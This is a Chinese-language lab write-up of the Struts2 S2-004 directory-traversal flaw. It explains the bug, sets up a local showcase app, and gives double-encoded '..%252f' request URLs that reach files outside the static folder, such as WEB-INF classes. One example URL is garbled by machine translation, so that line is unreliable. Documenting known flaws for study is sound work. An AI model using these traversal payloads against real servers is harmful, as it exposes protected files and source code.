Struts-s2-004
此文仅供大家交流学习,严禁非法使用
一、参考网址:
https://www.waitalone.cn/struts2-command-exp.html
二、 影响版本:
Struts 2.0.0 - Struts 2.0.11.2
三、 漏洞介绍:
通过设计,Struts2调度器逻辑允许为Web应用程序的类路径中发现的某些静态资源提供具有以“/ struts /”开头的上下文相对路径的请求URI。
FilterDispatcher(2.0)和DefaultStaticContentLoader(在2.1中)具有安全漏洞,允许攻击者遍历目录结构,并使用双编码的URL和相对路径在“静态”内容文件夹之外下载文件,如:
http:// localhost:8080 / struts2-blank-2.0.11.1 / struts ..
HTTP://本地主机:8080 / Struts2的空白-2.0.11.1 /支柱/..% 252F
http://exampletomcat.com:8080/struts2-blank-2.0.11.1/struts/..%252f..%252f..%252fWEB-INF/classess/example/Login.class/
尽管并非所有容器都容易受到此影响,但Struts2调度程序逻辑必须阻止访问静态资源文件夹外的静态内容。
四、 环境搭建:
仿照一下搭建showcase2.1.6的方式,搭建struts2-showcase-2.0.1
- 下载/struts/2.0.1
下载地址:http://archive.apache.org/dist/struts/binaries/struts-2.0.1-all.zip
如果下载失败,可以把这个网址粘到百度云使用离线下载
下载安装xampp
部署showcase
解压
- 复制到.
- 重启tomcat
- 已成功自动部署
六、修改首页网址
http://127.0.0.1:8080/struts2-showcase-2.0.1/showcase.action?class.classLoader.resources.allowLinking=true
- 打开
http://127.0.0.1:8080/struts2-showcase-2.0.1/continuations/guess.action
- 修改为:
http://127.0.0.1:8080/struts2-showcase-2.0.1/continuations/../
七、执行结果:
- 返回到首页
- 随便复制了一个xml到路径下
修改为
http://127.0.0.1:8080/struts2-showcase-2.0.1/continuations/../asd.xml
- 执行结果
八、 至此,该漏洞基本利用完毕
本人还是一个未毕业的小萌新,希望大家多多帮助,有问题请发送邮件到xrzsupupup@163.com不胜感激,我也会尽量去帮助大家
坚决做一名白帽子